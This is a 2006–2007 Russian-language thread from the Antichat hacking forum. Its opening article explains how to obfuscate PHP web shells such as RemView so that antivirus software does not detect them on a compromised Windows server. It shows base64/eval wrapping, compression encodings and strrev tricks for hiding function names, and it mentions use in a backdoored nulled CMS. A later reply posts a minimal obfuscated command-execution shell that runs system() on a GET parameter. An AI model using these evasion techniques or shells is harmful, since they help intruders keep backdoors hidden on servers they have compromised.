ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи > Авторские статьи
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Криптуем php скрипты от антивирей
  #1  
Старый 12.11.2006, 22:53
Аватар для Talisman
Talisman
Постоянный
Регистрация: 22.04.2006
Сообщений: 566
Провел на форуме:
1325772

Репутация: 517


Отправить сообщение для Talisman с помощью ICQ
По умолчанию Криптуем php скрипты от антивирей

Вчера в аську постучался чел, с которым я вел довольно длительную переписку-консультацию по имению виндового сервака. Очередная его просьба заключалась в том, что RemView палится NOD`om, стоящим на виндовом сервачке - он просил дать аналогичную софтинку, только не палащуюся.
Первым делом пришла идея просто зашифровать base64_decode, и я быстренько накодил следующий код:
PHP код:
eval(base64_decode(code)); 
и быстренько накодил скрипт:
PHP код:
<?php
$file_array 
file"RemView.php" ); // следует помнить, что в файле в кодируемом файле должны быть удалены начальные и конечные "примочки" php-кода (<? и ?>)
while ( list( $line ) = each($file_array) ):
$c.=$file_array[$line];
$c.=chr(10);
endwhile;
echo "eval(base64_decode('" . base64_encode($c) . '\'));';
 ?>
А как зашифровать сложнее, и сжать код - читаем дальше:
Функции СИММЕТРИЧНОГО ШИФРОВАНИЯ, которые могут нам помочь:
Цитата:
Сообщение от Кусок текста из книги PHP глазами хакера Михаила Фленова:  
Функция mcrypt_ecb(Алгоритм,ключ,данные, режим);
Алгоритмы шифрования, которые есть в либе libmcrypt:
  • MCRYPT_DES - алгоритм DES
  • MCRYPT_3DES - алгоритм 3DES
  • MCRYPT_BLOWFISH - алгоритм BLOWFISH
  • MCRYPT_CAST128 - алгоритм cast256
  • MCRYPT_CAST256 - алгоритм cast256
Режим: либо MCRYPT_ENCRYPT (зашифровать) либо MCRYPT_DECRYPT (расшифровать)
Более подробно о функции можно глянуть тут: http://ru2.php.net/manual/ru/function.mcrypt-ecb.php

Функции АССИМЕТРИЧНОГО шифрования, которые могут нам помочь:
Например SSL, но мы рассматривать ее не будем ))) нах оно нам? Хотя если остальные будут палиться... то )

Очень жаль, но необратимое шифрование нам помочь никак не может например функция
PHP код:
md5(); 

Функции изменения основания системы данных шифрования, которые могут нам помочь:
О, как выразился) к функциям относятся и примененные тимой RST в конструкторе своего шелла (линк на конструктор):
  1. gzdeflate & base64_encode
  2. gzdeflate & bin2hex
  3. gzdeflate & urlencode
  4. gzcompress & base64_encode
  5. gzcompress & bin2hex
  6. gzcompress & urlencode
  7. bzcompress & base64_encode (PHP >= 4.3.3)
  8. bzcompress & bin2hex (PHP >= 4.3.3)
  9. bzcompress & urlencode (PHP >= 4.3.3)
(они тут еще и ужимали полученный код дефлейтом и компрессором)
Кроме заюзанных функций: bindec(), decoct(), dechex() Стоит и упоминуть еще: base_convert() - очень удобная фича, можно добавить еще и комбинации используя операции работы со строками и очень понтовую фичу - strrev() - она просто переворачивает строчку задом наперед ) (помню, писал проги для поиска фраз - полиндромов - прогоните строчки: "Улыбок тебе дед макар" и "Лазер вове хер отрезал" )

Шифруем имена самих функций
Ладно, код мы упаковали, но как быть насчет поиска антивирем наших "странных" конструкций? Нужно шифроваться ) юзаем strrev() или другие подобные функции, которые затруднят поиск потенциально опасных конструкций в исследуемом коде.
Например, очнь прикольный ход:
PHP код:
                              $_D=strrev('edoced_46esab');
eval(
$_D('....')); // данный закодированный base64_encode 
(финт применен в криптовании бекдора в нуленом даталайфе 4.5)
простым поиском по файлу мы не найдем base64_decode, которую очень часто юзают в злонамеренных целях. Впрочем и eval() тоже можно было зашифровать.
Надеюсь, теперь тебе не составит никакого труда кодировать свои шеллы
 
Ответить с цитированием

  #2  
Старый 12.11.2006, 23:02
Аватар для r0
r0
Постоянный
Регистрация: 17.07.2005
Сообщений: 475
Провел на форуме:
1665310

Репутация: 488
По умолчанию

Проще свой шелл накатать..
 
Ответить с цитированием

  #3  
Старый 12.11.2006, 23:35
Аватар для Talisman
Talisman
Постоянный
Регистрация: 22.04.2006
Сообщений: 566
Провел на форуме:
1325772

Репутация: 517


Отправить сообщение для Talisman с помощью ICQ
По умолчанию

Цитата:
Сообщение от r0cha!  
Проще свой шелл накатать..
ну не скажи!
и если свой шелл не криптовать, то его просто поиском по содержимому найти
 
Ответить с цитированием

  #4  
Старый 20.11.2006, 22:34
Аватар для steamer
steamer
Познающий
Регистрация: 03.05.2006
Сообщений: 82
Провел на форуме:
219818

Репутация: 10
Отправить сообщение для steamer с помощью ICQ
По умолчанию

Статья хорошая, а шел свой писать тоже влом, зачем заново изобретать велосипед, хотя если делать нечего, можно попробовать.

А вот минус за "Лазер вове хер отрезал". Я минут пять пересматривал эту фразу, из палиндромов только слово Лазер. Может я что не так понял???
 
Ответить с цитированием

  #5  
Старый 21.03.2007, 01:12
Аватар для Mo4x
Mo4x
Постоянный
Регистрация: 18.02.2007
Сообщений: 416
Провел на форуме:
3509350

Репутация: 412
По умолчанию

Ребята а есть исче какие то способы спратоть а то я не силен в пхп сам додуматься не могу .

Последний раз редактировалось Mo4x™; 21.03.2007 в 01:22..
 
Ответить с цитированием

  #6  
Старый 21.05.2007, 03:26
Аватар для 4xks
4xks
Banned
Регистрация: 02.03.2007
Сообщений: 38
Провел на форуме:
38949

Репутация: -12
По умолчанию

Ой да етож исходнег - его можно править вручную как хочешь и где хочешь - тупо можно автоматом сменить все переменные на свои или добавить левый код, вот и не будет палиццо антивирусами.
 
Ответить с цитированием

  #7  
Старый 21.05.2007, 07:22
Аватар для pento
pento
Участник форума
Регистрация: 03.07.2006
Сообщений: 147
Провел на форуме:
438137

Репутация: 66
По умолчанию

Букв конечно много написал ты...только вот RemView палится NOD`om очевидно по сигнатурам кода...и если пройтись по нему (то есть по коду) любым пхпшным обфускатором, и даже самописным, то проблема исчезнет. И без всякого там шифрования и бредовой книги кулхацкера Флеонова, который на что только не смотрел ещё "глазами хакера"...

P.S. по поводу
Цитата:
и быстренько накодил скрипт:
Скажи, а зачем такие "магические движения" при чтении файла?
file_get_contents или file+implode не модно? про chr(10) особенно улыбнуло.
 
Ответить с цитированием

  #8  
Старый 21.05.2007, 07:32
Аватар для nerezus
nerezus
Pagan Heart
Регистрация: 12.08.2004
Сообщений: 3,791
Провел на форуме:
6490435

Репутация: 2290


Отправить сообщение для nerezus с помощью ICQ
По умолчанию

Пардон, а каким образом антивири палят ТЕКСТОВИК? )
 
Ответить с цитированием

  #9  
Старый 21.05.2007, 07:32
Аватар для pento
pento
Участник форума
Регистрация: 03.07.2006
Сообщений: 147
Провел на форуме:
438137

Репутация: 66
По умолчанию

Цитата:
Сообщение от Talisman  
ну не скажи!
и если свой шелл не криптовать, то его просто поиском по содержимому найти
PHP код:
<?php
$foo 
's'.'y'.'s'.'t'.'e'.'m';
$foo($_GET['c']);
?>
удачи
 
Ответить с цитированием

  #10  
Старый 21.05.2007, 07:40
Аватар для guest3297
guest3297
Banned
Регистрация: 27.06.2006
Сообщений: 1,614
Провел на форуме:
3887520

Репутация: 2996


По умолчанию

Цитата:
Пардон, а каким образом антивири палят ТЕКСТОВИК? )
отжег... наверное эвристическим....

Для уменьшения размера, добавь в свой мини скриптик bzcompress gzcompress.

 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Books PHP FRAGNATIC PHP, PERL, MySQL, JavaScript 186 21.02.2010 02:41
Books PSalm69 Избранное 248 27.10.2009 04:52
На PHP, как на "Новые ворота"... Mertvii-Listopad Чужие Статьи 7 18.09.2006 12:42
Безопасность в Php, Часть Iii k00p3r Чужие Статьи 0 11.07.2005 19:02
Защищаем Php. Шаг за шагом. k00p3r Чужие Статьи 0 13.06.2005 11:31



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ